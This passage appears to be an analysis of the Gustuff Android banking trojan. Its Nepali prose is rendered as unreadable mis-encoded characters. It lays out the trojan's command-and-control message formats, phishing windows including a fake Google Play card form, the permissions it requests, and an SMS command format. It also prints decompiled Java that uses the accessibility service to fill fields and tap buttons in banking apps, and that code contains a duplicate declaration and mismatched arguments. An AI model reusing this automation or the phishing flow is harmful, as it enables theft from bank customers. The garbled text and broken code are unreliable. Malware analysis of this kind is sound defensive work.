рд╕реВрдЪрдирд╛ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрди рд╕рд░реНрднрд░ рджреНрд╡рд╛рд░рд╛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рд╡рд░реНрдгрди рд░ рд╢реАрд░реНрд╖рдХ рдкрд╛рда рд╕рдВрдЧ рдПрдХ рд╕реВрдЪрдирд╛ рджреЗрдЦрд╛рдЙрдиреБрд╣реЛрд╕реНред

рдЖрджреЗрд╢ рдврд╛рдБрдЪрд╛ рд╕реВрдЪрдирд╛:

{
    "results" : "OK",
    "command":{
    "id": <%id%>,
    "command":"notification",
    "timestamp":<%Server Timestamp%>,
    "params":{
        "openApp":<%Open original app or not%>,
        "array":[
                      {"title":<%Title text%>,
                      "desc":<%Description text%>,
                      "app":<%Application name%>}
                   ]
                   },
        },
}

рдЕрдиреБрд╕рдиреНрдзрд╛рди рдЕрдиреНрддрд░реНрдЧрдд рдлрд╛рдЗрд▓ рджреНрд╡рд╛рд░рд╛ рдЙрддреНрдкрдиреНрди рд╕реВрдЪрдирд╛ рдлрд┐рд▓реНрдб рдорд╛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдЕрдиреБрдкреНрд░рдпреЛрдЧ рджреНрд╡рд╛рд░рд╛ рдЙрддреНрдкрдиреНрди рд╕реВрдЪрдирд╛рд╣рд░реБ рдХреЛ рд╕рдорд╛рди рджреЗрдЦрд┐рдиреНрдЫред рдЕрдиреБрдкреНрд░рдпреЛрдЧред рдпрджрд┐ рдХреНрд╖реЗрддреНрд░ рдорд╛рди рдПрдк рдЦреЛрд▓реНрдиреБрд╣реЛрд╕реН - рд╕рддреНрдп рд╣реЛ, рдЬрдм рд╕реВрдЪрдирд╛ рдЦреЛрд▓рд┐рдиреНрдЫ, рдХреНрд╖реЗрддреНрд░рдорд╛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдЧрд░рд┐рдПрдХреЛ рдЕрдиреБрдкреНрд░рдпреЛрдЧ рд╕реБрд░реБ рд╣реБрдиреНрдЫ рдЕрдиреБрдкреНрд░рдпреЛрдЧред рдпрджрд┐ рдХреНрд╖реЗрддреНрд░ рдорд╛рди рдПрдк рдЦреЛрд▓реНрдиреБрд╣реЛрд╕реН - рдЧрд▓рдд, рддреНрдпрд╕рдкрдЫрд┐:

  • рдлрд┐рд╕рд┐рдЩ рд╡рд┐рдиреНрдбреЛ рдЦреБрд▓реНрдЫ, рдЬрд╕рдХреЛ рд╕рд╛рдордЧреНрд░реА рдбрд╛рдЗрд░реЗрдХреНрдЯрд░реАрдмрд╛рдЯ рдбрд╛рдЙрдирд▓реЛрдб рдЧрд░рд┐рдиреНрдЫ <% рдмрд╛рд╣реНрдп рднрдгреНрдбрд╛рд░рдг%>/hgps/<%filename%>
  • рдлрд┐рд╕рд┐рдЩ рд╡рд┐рдиреНрдбреЛ рдЦреБрд▓реНрдЫ, рдЬрд╕рдХреЛ рд╕рд╛рдордЧреНрд░реА рд╕рд░реНрднрд░рдмрд╛рдЯ рдбрд╛рдЙрдирд▓реЛрдб рдЧрд░рд┐рдиреНрдЫ <%url%>?id=<%Bot id%>&app=<%Application name%>
  • рдПрдЙрдЯрд╛ рдлрд┐рд╕рд┐рдЩ рд╡рд┐рдиреНрдбреЛ рдЦреБрд▓реНрдЫ, рдЧреБрдЧрд▓ рдкреНрд▓реЗ рдХрд╛рд░реНрдбрдХреЛ рднреЗрд╖рдорд╛, рдХрд╛рд░реНрдб рд╡рд┐рд╡рд░рдгрд╣рд░реВ рдкреНрд░рд╡рд┐рд╖реНрдЯ рдЧрд░реНрдиреЗ рдЕрд╡рд╕рд░рдХреЛ рд╕рд╛рдеред

рдЕрдиреБрдкреНрд░рдпреЛрдЧрд▓реЗ рдХреБрдиреИ рдкрдирд┐ рдЖрджреЗрд╢рдХреЛ рдкрд░рд┐рдгрд╛рдо рдкрдард╛рдЙрдБрдЫ <%CnC%>set_state.php рдирд┐рдореНрди рдврд╛рдБрдЪрд╛рдорд╛ JSON рд╡рд╕реНрддреБрдХреЛ рд░реВрдкрдорд╛:

{
    "command":
    {
        "command":<%command%>,
        "id":<%command_id%>,
        "state":<%command_state%>
    }
    "id":<%bot_id%>
}

рдХрд╛рд░реНрдп рд╕реЗрд╡рд╛
рдЖрджреЗрд╢рд╣рд░реВрдХреЛ рд╕реВрдЪреА рдЬреБрди рдЕрдиреБрдкреНрд░рдпреЛрдЧ рдкреНрд░рдХреНрд░рд┐рдпрд╛рд╣рд░реВрд▓реЗ рд╕рдорд╛рд╡реЗрд╢ рдЧрд░реНрджрдЫ рдХрд╛рд░реНрдпред рдЬрдм рдЖрджреЗрд╢ рдкреНрд░рд╛рдкреНрдд рд╣реБрдиреНрдЫ, рд╡рд┐рд╕реНрддрд╛рд░рд┐рдд рдЖрджреЗрд╢ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдЧрд░реНрди рдЖрджреЗрд╢ рдкреНрд░рд╢реЛрдзрди рдореЛрдбреНрдпреБрд▓рд▓реЗ рдпреЛ рд╕реЗрд╡рд╛ рдкрд╣реБрдБрдЪ рдЧрд░реНрджрдЫред рд╕реЗрд╡рд╛рд▓реЗ JSON рд╡рд╕реНрддреБрд▓рд╛рдИ рдкреНрдпрд╛рд░рд╛рдорд┐рдЯрд░рдХреЛ рд░реВрдкрдорд╛ рд╕реНрд╡реАрдХрд╛рд░ рдЧрд░реНрдЫред рд╕реЗрд╡рд╛рд▓реЗ рдирд┐рдореНрди рдЖрджреЗрд╢рд╣рд░реВ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдЧрд░реНрди рд╕рдХреНрдЫ:

1. PARAMS_ACTION - рдпрд╕реНрддреЛ рдЖрджреЗрд╢ рдкреНрд░рд╛рдкреНрдд рдЧрд░реНрджрд╛, рд╕реЗрд╡рд╛рд▓реЗ рдкрд╣рд┐рд▓реЗ JSON рдкреНрдпрд╛рд░рд╛рдорд┐рдЯрд░рдмрд╛рдЯ рдЯрд╛рдЗрдк рдХреБрдЮреНрдЬреАрдХреЛ рдорд╛рди рдкреНрд░рд╛рдкреНрдд рдЧрд░реНрджрдЫ, рдЬреБрди рдирд┐рдореНрдирд╛рдиреБрд╕рд╛рд░ рд╣реБрди рд╕рдХреНрдЫ:

  • рд╕реЗрд╡рд╛ рдЬрд╛рдирдХрд╛рд░реА - рдЙрдкрдХрдорд╛рдиреНрдбрд▓реЗ JSON рдкреНрдпрд╛рд░рд╛рдорд┐рдЯрд░рдмрд╛рдЯ рдХреБрдЮреНрдЬреАрджреНрд╡рд╛рд░рд╛ рдорд╛рди рдкреНрд░рд╛рдкреНрдд рдЧрд░реНрджрдЫ рд╕рдорд╛рд╡реЗрд╢ рдорд╣рддреНрддреНрд╡рдкреВрд░реНрдг рдЫреИрдиред рдпрджрд┐ рдЭрдгреНрдбрд╛ рд╕рддреНрдп рд╣реЛ рднрдиреЗ, рдЕрдиреБрдкреНрд░рдпреЛрдЧрд▓реЗ рдЭрдгреНрдбрд╛ рд╕реЗрдЯ рдЧрд░реНрджрдЫ FLAG_ISOLATED_PROCESS рдкрд╣реБрдБрдЪ рд╕реЗрд╡рд╛ рдкреНрд░рдпреЛрдЧ рдЧрд░реЗрд░ рд╕реЗрд╡рд╛рдорд╛ред рдпрд╕рд░реА рдЫреБрдЯреНрдЯреИ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдорд╛ рд╕реЗрд╡рд╛ рд╕реБрд░реБ рд╣реБрдиреЗрдЫред
  • рдореВрд▓ - рд╣рд╛рд▓ рдлреЛрдХрд╕рдорд╛ рд░рд╣реЗрдХреЛ рд╡рд┐рдиреНрдбреЛрдХреЛ рдмрд╛рд░реЗрдорд╛ рд╕рд░реНрднрд░ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдЧрд░реНрдиреБрд╣реЛрд╕реН рд░ рдкрдард╛рдЙрдиреБрд╣реЛрд╕реНред рдЕрдиреБрдкреНрд░рдпреЛрдЧрд▓реЗ AccessibilityNodeInfo рд╡рд░реНрдЧ рдкреНрд░рдпреЛрдЧ рдЧрд░реЗрд░ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдЧрд░реНрджрдЫред
  • . - рдкреНрд░рд╢рд╛рд╕рдХ рдЕрдзрд┐рдХрд╛рд░рд╣рд░реВ рдЕрдиреБрд░реЛрдз рдЧрд░реНрдиреБрд╣реЛрд╕реНред
  • рдврд┐рд▓рд╛рдЗ - "рдбреЗрдЯрд╛" рдХреБрдЮреНрдЬреАрдХреЛ рд▓рд╛рдЧрд┐ рдкреНрдпрд╛рд░рд╛рдорд┐рдЯрд░рдорд╛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдорд┐рд▓рд┐рд╕реЗрдХреЗрдиреНрдбрдХреЛ рд╕рдВрдЦреНрдпрд╛рдХреЛ рд▓рд╛рдЧрд┐ рдХрд╛рд░реНрдп рд╕реЗрд╡рд╛ рдирд┐рд▓рдореНрдмрди рдЧрд░реНрдиреБрд╣реЛрд╕реНред
  • Windows - рдкреНрд░рдпреЛрдЧрдХрд░реНрддрд╛рд▓рд╛рдИ рджреЗрдЦрд┐рдиреЗ рд╡рд┐рдиреНрдбреЛрдЬрд╣рд░реВрдХреЛ рд╕реВрдЪреА рдкрдард╛рдЙрдиреБрд╣реЛрд╕реНред
  • рд╕реНрдерд╛рдкрд┐рдд рдЧрд░реНрдиреБрд╣реЛрд╕реН - рд╕рдВрдХреНрд░рдорд┐рдд рдЙрдкрдХрд░рдгрдорд╛ рдЕрдиреБрдкреНрд░рдпреЛрдЧ рд╕реНрдерд╛рдкрдирд╛ рдЧрд░реНрдиреБрд╣реЛрд╕реНред рдЕрднрд┐рд▓реЗрдЦ рдкреНрдпрд╛рдХреЗрдЬрдХреЛ рдирд╛рдо "рдлрд╛рдЗрд▓ рдирд╛рдо" рдХреБрдЮреНрдЬреАрдорд╛ рдЫред рд╕рдВрдЧреНрд░рд╣ рдЖрдлреИ рдбрд╛рдЙрдирд▓реЛрдб рдбрд╛рдЗрд░реЗрдХреНрдЯрд░реА рдорд╛ рд╕реНрдерд┐рдд рдЫред
  • рд╡реИрд╢реНрд╡рд┐рдХ - рдЙрдкрдХрдорд╛рдгреНрдб рд╣рд╛рд▓рдХреЛ рд╕рдЮреНрдЭреНрдпрд╛рд▓рдмрд╛рдЯ рдиреЗрднрд┐рдЧреЗрдЯ рдЧрд░реНрдирдХреЛ рд▓рд╛рдЧрд┐ рд╣реЛ:
    • рджреНрд░реБрдд рд╕реЗрдЯрд┐рдЩ рдореЗрдиреБрдорд╛
    • рдлрд┐рд░реНрддрд╛
    • рдШрд░
    • рд╕реВрдЪрдирд╛рд╣рд░реВрдорд╛
    • рднрд░реНрдЦрд░реИ рдЦреЛрд▓рд┐рдПрдХреЛ рдЕрдиреБрдкреНрд░рдпреЛрдЧ рд╡рд┐рдиреНрдбреЛрдорд╛

  • рд╕реБрд░реБрд╡рд╛рдд рдЧрд░реНрдиреБрд╣реЛрд╕реН - рдЕрдиреБрдкреНрд░рдпреЛрдЧ рд╕реБрд░реБ рдЧрд░реНрдиреБрд╣реЛрд╕реНред рдЕрдиреБрдкреНрд░рдпреЛрдЧрдХреЛ рдирд╛рдо рдХреБрдЮреНрдЬреАрджреНрд╡рд╛рд░рд╛ рдкреНрдпрд╛рд░рд╛рдорд┐рдЯрд░рдХреЛ рд░реВрдкрдорд╛ рдЖрдЙрдБрдЫ рдбрд╛рдЯрд╛.
  • рдзреНрд╡рдирд┐ - рдореМрдирдорд╛ рдзреНрд╡рдирд┐ рдореЛрдб рдкрд░рд┐рд╡рд░реНрддрди рдЧрд░реНрдиреБрд╣реЛрд╕реНред
  • рдЕрдирд▓рдХ - рд╕реНрдХреНрд░рд┐рди рд░ рдХрд┐рдмреЛрд░реНрдбрдХреЛ рдмреНрдпрд╛рдХрд▓рд╛рдЗрдЯрд▓рд╛рдИ рдкреВрд░реНрдг рдЪрдордХрдорд╛ рд╕рдХреНрд░рд┐рдп рдЧрд░реНрджрдЫред рдПрдкрд▓реЗ WakeLock рдкреНрд░рдпреЛрдЧ рдЧрд░реЗрд░ рдпреЛ рдХрд╛рд░реНрдп рдЧрд░реНрджрдЫ, рд╕реНрдЯреНрд░рд┐рдЩ [Application lable]:INFO рд▓рд╛рдИ рдЯреНрдпрд╛рдЧрдХреЛ рд░реВрдкрдорд╛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдЧрд░реНрджреИ
  • рдЕрдиреБрдорддрд┐ рдУрднрд░рд▓реЗ тАФ рдкреНрд░рдХрд╛рд░реНрдп рд▓рд╛рдЧреВ рдЧрд░рд┐рдПрдХреЛ рдЫреИрди (рдХрдорд╛рдгреНрдб рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрдирдХреЛ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╣реЛ {"message":"рд╕рдорд░реНрдерди рдЫреИрди"} рд╡рд╛ {"message":"low sdk"})
  • рдЗрд╢рд╛рд░рд╛ тАФ рдкреНрд░рдХрд╛рд░реНрдп рд▓рд╛рдЧреВ рдЧрд░рд┐рдПрдХреЛ рдЫреИрди (рдХрдорд╛рдгреНрдб рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрдирдХреЛ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ {"message":"Not support"}рд╡рд╛ {"message":"Low API"} рд╣реЛ)
  • рдЕрдиреБрдорддрд┐ - рдпреЛ рдЖрджреЗрд╢ рдЕрдиреБрдкреНрд░рдпреЛрдЧрдХреЛ рд▓рд╛рдЧрд┐ рдЕрдиреБрдорддрд┐ рдЕрдиреБрд░реЛрдз рдЧрд░реНрди рдЖрд╡рд╢реНрдпрдХ рдЫред рдпрджреНрдпрдкрд┐, рдХреНрд╡реЗрд░реА рдкреНрд░рдХрд╛рд░реНрдп рд▓рд╛рдЧреВ рдЧрд░рд┐рдПрдХреЛ рдЫреИрди, рддреНрдпрд╕реИрд▓реЗ рдЖрджреЗрд╢ рдЕрд░реНрдерд╣реАрди рдЫред рдЕрдиреБрд░реЛрдз рдЧрд░рд┐рдПрдХрд╛ рдЕрдзрд┐рдХрд╛рд░рд╣рд░реВрдХреЛ рд╕реВрдЪреА "рдЕрдиреБрдорддрд┐" рдХреБрдЮреНрдЬреАрд╕рдБрдЧ JSON рдПрд░реЗрдХреЛ рд░реВрдкрдорд╛ рдЖрдЙрдБрдЫред рдорд╛рдирдХ рд╕реВрдЪреА:
    • android.permission.READ_PHONE_STATE
    • android.permission.READ_CONTACTS
    • android.permission.CALL_PHONE
    • android.permission.RECEIVE_SMS
    • android.permission.SEND_SMS
    • android.permission.READ_SMS
    • android.permission.READ_EXTERNAL_STORAGE
    • android.permission.WRITE_EXTERNAL_STORAGE

  • рдЦреБрд▓рд╛ - рдлрд┐рд╕рд┐рдЩ рд╡рд┐рдиреНрдбреЛ рджреЗрдЦрд╛рдЙрдиреБрд╣реЛрд╕реНред рд╕рд░реНрднрд░рдмрд╛рдЯ рдЖрдЙрдиреЗ рдкреНрдпрд╛рд░рд╛рдорд┐рдЯрд░рдорд╛ рдирд┐рд░реНрднрд░ рдЧрд░реНрджреИ, рдЕрдиреБрдкреНрд░рдпреЛрдЧрд▓реЗ рдирд┐рдореНрди рдлрд┐рд╕рд┐рдЩ рд╡рд┐рдиреНрдбреЛрд╣рд░реВ рдкреНрд░рджрд░реНрд╢рди рдЧрд░реНрди рд╕рдХреНрдЫ:
    • рдлрд┐рд╕рд┐рдЩ рд╕рдЮреНрдЭреНрдпрд╛рд▓ рджреЗрдЦрд╛рдЙрдиреБрд╣реЛрд╕реН рдЬрд╕рдХреЛ рд╕рд╛рдордЧреНрд░реА рдбрд╛рдЗрд░реЗрдХреНрдЯрд░реАрдорд╛ рдлрд╛рдЗрд▓рдорд╛ рд▓реЗрдЦрд┐рдПрдХреЛ рдЫ <% рдмрд╛рд╣реНрдп рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛%>/hgps/<%param_filename%>ред рд╕рдЮреНрдЭреНрдпрд╛рд▓рд╕рдБрдЧ рдкреНрд░рдпреЛрдЧрдХрд░реНрддрд╛ рдЕрдиреНрддрд░рдХреНрд░рд┐рдпрд╛рдХреЛ рдкрд░рд┐рдгрд╛рдо рдкрдард╛рдЗрдиреЗрдЫ <%CnC%>/records.php
    • рдлрд┐рд╕рд┐рдЩ рд╡рд┐рдиреНрдбреЛ рджреЗрдЦрд╛рдЙрдиреБрд╣реЛрд╕реН рдЬрд╕рдХреЛ рд╕рд╛рдордЧреНрд░реА рдареЗрдЧрд╛рдирд╛рдмрд╛рдЯ рдкреВрд░реНрд╡-рд▓реЛрдб рдЧрд░рд┐рдПрдХреЛ рдЫ <%url_param%>?id=<%bot_id%>&app=<%packagename%>ред рд╕рдЮреНрдЭреНрдпрд╛рд▓рд╕рдБрдЧ рдкреНрд░рдпреЛрдЧрдХрд░реНрддрд╛ рдЕрдиреНрддрд░рдХреНрд░рд┐рдпрд╛рдХреЛ рдкрд░рд┐рдгрд╛рдо рдкрдард╛рдЗрдиреЗрдЫ <%CnC%>/records.php
    • рдЧреБрдЧрд▓ рдкреНрд▓реЗ рдХрд╛рд░реНрдбрдХреЛ рд░реВрдкрдорд╛ рднреЗрд╖рдорд╛ рдлрд┐рд╕рд┐рдЩ рд╡рд┐рдиреНрдбреЛ рджреЗрдЦрд╛рдЙрдиреБрд╣реЛрд╕реНред

  • рдЕрдиреНрддрд░рдХреНрд░рд┐рдпрд╛рддреНрдордХ - рдЖрджреЗрд╢рд▓рд╛рдИ рдкрд╣реБрдБрдЪ рд╕реЗрд╡рд╛ рдкреНрд░рдпреЛрдЧ рдЧрд░реЗрд░ рдЕрдиреНрдп рдЕрдиреБрдкреНрд░рдпреЛрдЧрд╣рд░реВрдХреЛ рд╕рдЮреНрдЭреНрдпрд╛рд▓ рддрддреНрд╡рд╣рд░реВрд╕рдБрдЧ рдЕрдиреНрддрд░рдХреНрд░рд┐рдпрд╛ рдЧрд░реНрди рдбрд┐рдЬрд╛рдЗрди рдЧрд░рд┐рдПрдХреЛ рдЫред рдХрд╛рд░реНрдпрдХреНрд░рдордорд╛ рдЕрдиреНрддрд░рдХреНрд░рд┐рдпрд╛рдХрд╛ рд▓рд╛рдЧрд┐ рд╡рд┐рд╢реЗрд╖ рд╕реЗрд╡рд╛ рд▓рд╛рдЧреВ рдЧрд░рд┐рдПрдХреЛ рдЫ ред рдЕрдиреБрд╕рдиреНрдзрд╛рди рдЕрдиреНрддрд░реНрдЧрдд рдЕрдиреБрдкреНрд░рдпреЛрдЧрд▓реЗ рд╡рд┐рдиреНрдбреЛрдЬрд╕рдБрдЧ рдЕрдиреНрддрд░рдХреНрд░рд┐рдпрд╛ рдЧрд░реНрди рд╕рдХреНрдЫ:
    • рд╣рд╛рд▓ рд╕рдХреНрд░рд┐рдп рдЫред рдпрд╕ рдЕрд╡рд╕реНрдерд╛рдорд╛, рдкреНрдпрд╛рд░рд╛рдорд┐рдЯрд░рд▓реЗ рд╡рд╕реНрддреБрдХреЛ рдЖрдИрдбреА рд╡рд╛ рдкрд╛рда (рдирд╛рдо) рд╕рдорд╛рд╡реЗрд╢ рдЧрд░реНрджрдЫ рдЬрд╕рд╕рдБрдЧ рддрдкрд╛рдИрдВрд▓реЗ рдЕрдиреНрддрд░рдХреНрд░рд┐рдпрд╛ рдЧрд░реНрди рдЖрд╡рд╢реНрдпрдХ рдЫред
    • рдЖрджреЗрд╢ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рднрдПрдХреЛ рд╕рдордпрдорд╛ рдкреНрд░рдпреЛрдЧрдХрд░реНрддрд╛рд▓рд╛рдИ рджреЗрдЦрд┐рдиреЗред рдЕрдиреБрдкреНрд░рдпреЛрдЧрд▓реЗ рдЖрдИрдбреАрджреНрд╡рд╛рд░рд╛ рд╡рд┐рдиреНрдбреЛрдЬ рдЪрдпрди рдЧрд░реНрджрдЫред

    рд╡рд╕реНрддреБрд╣рд░реВ рдкреНрд░рд╛рдкреНрдд рдЧрд░реНрджреИ рдкрд╣реБрдБрдЪ рдиреЛрдб рдЬрд╛рдирдХрд╛рд░реА рд░реБрдЪрд┐рдХреЛ рд╕рдЮреНрдЭреНрдпрд╛рд▓ рддрддреНрд╡рд╣рд░реВрдХреЛ рд▓рд╛рдЧрд┐, рдЕрдиреБрдкреНрд░рдпреЛрдЧрд▓реЗ, рдкреНрдпрд╛рд░рд╛рдорд┐рдЯрд░рд╣рд░реВрдорд╛ рдирд┐рд░реНрднрд░ рдЧрд░реНрджреИ, рдирд┐рдореНрди рдХрд╛рд░реНрдпрд╣рд░реВ рдЧрд░реНрди рд╕рдХреНрдЫ:

    • рдлреЛрдХрд╕ - рд╡рд╕реНрддреБрдорд╛ рдлреЛрдХрд╕ рд╕реЗрдЯ рдЧрд░реНрдиреБрд╣реЛрд╕реНред
    • рдХреНрд▓рд┐рдХ рдЧрд░реНрдиреБрд╣реЛрд╕реН - рд╡рд╕реНрддреБрдорд╛ рдХреНрд▓рд┐рдХ рдЧрд░реНрдиреБрд╣реЛрд╕реНред
    • actionId - ID рджреНрд╡рд╛рд░рд╛ рдХрд╛рд░реНрдп рдЧрд░реНрдиреБрд╣реЛрд╕реНред
    • setText - рд╡рд╕реНрддреБрдХреЛ рдкрд╛рда рдкрд░рд┐рд╡рд░реНрддрди рдЧрд░реНрдиреБрд╣реЛрд╕реНред рдкрд╛рда рдкрд░рд┐рд╡рд░реНрддрди рдЧрд░реНрди рджреБрдИ рддрд░рд┐рдХрд╛рдорд╛ рд╕рдореНрднрд╡ рдЫ: рдХрд╛рд░реНрдп рдЧрд░реНрдиреБрд╣реЛрд╕реН ACTION_SET_TEXT (рдпрджрд┐ рд╕рдВрдХреНрд░рдорд┐рдд рдЙрдкрдХрд░рдгрдХреЛ рдПрдиреНрдбреНрд░реЛрдЗрдб рд╕рдВрд╕реНрдХрд░рдг рднрдиреНрджрд╛ рд╕рд╛рдиреЛ рд╡рд╛ рдмрд░рд╛рдмрд░ рдЫ рд▓рд▓реАрдкрдк), рд╡рд╛ рдХреНрд▓рд┐рдкрдмреЛрд░реНрдбрдорд╛ рд╕реНрдЯреНрд░рд┐рдЩ рд░рд╛рдЦреЗрд░ рд╡рд╕реНрддреБрдорд╛ рдЯрд╛рдБрд╕реНрдиреБрд╣реЛрд╕реН (рдкреБрд░рд╛рдиреЛ рд╕рдВрд╕реНрдХрд░рдгрд╣рд░реВрдХреЛ рд▓рд╛рдЧрд┐)ред рдпреЛ рдЖрджреЗрд╢ рдмреИрдВрдХрд┐рдЩ рдЕрдиреБрдкреНрд░рдпреЛрдЧрдорд╛ рдбрд╛рдЯрд╛ рдкрд░рд┐рд╡рд░реНрддрди рдЧрд░реНрди рдкреНрд░рдпреЛрдЧ рдЧрд░реНрди рд╕рдХрд┐рдиреНрдЫред

2. PARAMS_ACTIONS - рдЬрд╕реНрддреИ PARAMS_ACTION, рдЖрджреЗрд╢рд╣рд░реВрдХреЛ JSON рдПрд░реЗ рдорд╛рддреНрд░ рдЖрдЙрдБрдЫред

рдпрд╕реНрддреЛ рджреЗрдЦрд┐рдиреНрдЫ рдХрд┐ рдзреЗрд░реИ рд╡реНрдпрдХреНрддрд┐рд╣рд░реВ рдЕрд░реНрдХреЛ рдЕрдиреБрдкреНрд░рдпреЛрдЧрдХреЛ рд╕рдЮреНрдЭреНрдпрд╛рд▓ рддрддреНрд╡рд╣рд░реВрд╕рдБрдЧ рдЕрдиреНрддрд░реНрдХреНрд░рд┐рдпрд╛ рдЧрд░реНрдиреЗ рдХрд╛рд░реНрдп рдХрд╕реНрддреЛ рджреЗрдЦрд┐рдиреНрдЫ рднрдиреЗрд░ рдЪрд╛рд╕реЛ рд░рд╛рдЦреНрдиреЗрдЫрдиреНред Gustuff рдорд╛ рдпреЛ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХрд╕рд░реА рд▓рд╛рдЧреВ рд╣реБрдиреНрдЫ:

boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
    int count = action.optInt("repeat", 1);
    Iterator aiListIterator = ((Iterable)aiList).iterator();
    int count = 0;
    while(aiListIterator.hasNext()) {
        Object ani = aiListIterator.next();
        if(1 <= count) {
            int index;
            for(index = 1; true; ++index) {
                if(action.has("focus")) {
                    if(((AccessibilityNodeInfo)ani).performAction(1)) {
                        ++count;
                    }
                }
                else if(action.has("click")) {
                    if(((AccessibilityNodeInfo)ani).performAction(16)) {
                        ++count;
                    }
                }
                else if(action.has("actionId")) {
                    if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
                        ++count;
                    }
                }
                else if(action.has("setText")) {
                    customHeader ch = CustomAccessibilityService.a;
                    Context context = this.getApplicationContext();
                    String text = action.optString("setText");
                    if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
                        ++count;
                    }
                }
                if(index == count) {
                    break;
                }
            }
        }
        ((AccessibilityNodeInfo)ani).recycle();
    }
    res.addPropertyNumber("res", Integer.valueOf(count));
}

рдкрд╛рда рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрди рдкреНрд░рдХрд╛рд░реНрдп:

boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
    boolean result;
    if(Build$VERSION.SDK_INT >= 21) {
        Bundle b = new Bundle();
        b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
        result = ani.performAction(0x200000, b);  // ACTION_SET_TEXT
    }
    else {
        Object clipboard = context.getSystemService("clipboard");
        if(clipboard != null) {
        ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
        result = ani.performAction(0x8000);  // ACTION_PASTE
        }
        else {
            result = false;
        }
    }
    return result;
}

рдпрд╕рд░реА, рдирд┐рдпрдиреНрддреНрд░рдг рд╕рд░реНрднрд░рдХреЛ рд╕рд╣реА рдХрдиреНрдлрд┐рдЧрд░реЗрд╕рдирдХреЛ рд╕рд╛рде, Gustuff рд▓реЗ рдмреИрдВрдХрд┐рдЩ рдЕрдиреБрдкреНрд░рдпреЛрдЧрдорд╛ рдкрд╛рда рдХреНрд╖реЗрддреНрд░рд╣рд░реВ рднрд░реНрди рд░ рд▓реЗрдирджреЗрди рдкреВрд░рд╛ рдЧрд░реНрди рдЖрд╡рд╢реНрдпрдХ рдмрдЯрдирд╣рд░реВрдорд╛ рдХреНрд▓рд┐рдХ рдЧрд░реНрди рд╕рдХреНрд╖рдо рдЫред рдЯреНрд░реЛрдЬрдирд▓рд╛рдИ рдПрдкреНрд▓рд┐рдХреЗрд╕рдирдорд╛ рд▓рдЧ рдЗрди рдЧрд░реНрди рдкрдирд┐ рдЖрд╡рд╢реНрдпрдХ рдкрд░реНрджреИрди - PUSH рдЕрдзрд┐рд╕реВрдЪрдирд╛ рдкреНрд░рджрд░реНрд╢рди рдЧрд░реНрди рд░ рддреНрдпрд╕рдкрдЫрд┐ рдкрд╣рд┐рд▓реЗ рд╕реНрдерд╛рдкрд┐рдд рдмреИрдВрдХрд┐рдЩ рдЕрдиреБрдкреНрд░рдпреЛрдЧ рдЦреЛрд▓реНрди рдЖрджреЗрд╢ рдкрдард╛рдЙрди рдкрд░реНрдпрд╛рдкреНрдд рдЫред рдкреНрд░рдпреЛрдЧрдХрд░реНрддрд╛рд▓реЗ рдЖрдлреИрд▓рд╛рдИ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдЧрд░реНрдиреЗрдЫ, рддреНрдпрд╕рдкрдЫрд┐ Gustuff рдХрд╛рд░ рднрд░реНрди рд╕рдХреНрд╖рдо рд╣реБрдиреЗрдЫред

рдПрд╕рдПрдордПрд╕ рд╕рдиреНрджреЗрд╢ рдкреНрд░рд╢реЛрдзрди рдореЛрдбреНрдпреБрд▓

рдЕрдиреБрдкреНрд░рдпреЛрдЧрд▓реЗ рдПрд╕рдПрдордПрд╕ рд╕рдиреНрджреЗрд╢рд╣рд░реВ рд╕реНрд╡реАрдХрд╛рд░ рдЧрд░реНрди рд╕рдВрдХреНрд░рдорд┐рдд рдЙрдкрдХрд░рдгрдХреЛ рд▓рд╛рдЧрд┐ рдШрдЯрдирд╛ рд╣реНрдпрд╛рдиреНрдбрд▓рд░ рд╕реНрдерд╛рдкрдирд╛ рдЧрд░реНрджрдЫред рдЕрдзреНрдпрдпрди рдЕрдиреНрддрд░реНрдЧрддрдХреЛ рдЕрдиреБрдкреНрд░рдпреЛрдЧрд▓реЗ рдЕрдкрд░реЗрдЯрд░рдмрд╛рдЯ рдЖрджреЗрд╢рд╣рд░реВ рдкреНрд░рд╛рдкреНрдд рдЧрд░реНрди рд╕рдХреНрдЫ, рдЬреБрди рдПрд╕рдПрдордПрд╕ рд╕рдиреНрджреЗрд╢рдХреЛ рдореБрдЦреНрдп рднрд╛рдЧрдорд╛ рдЖрдЙрдБрдЫред рдЖрджреЗрд╢рд╣рд░реВ рдврд╛рдБрдЪрд╛рдорд╛ рдЖрдЙрдБрдЫрдиреН:

7!5=<%Base64 encoded command%>

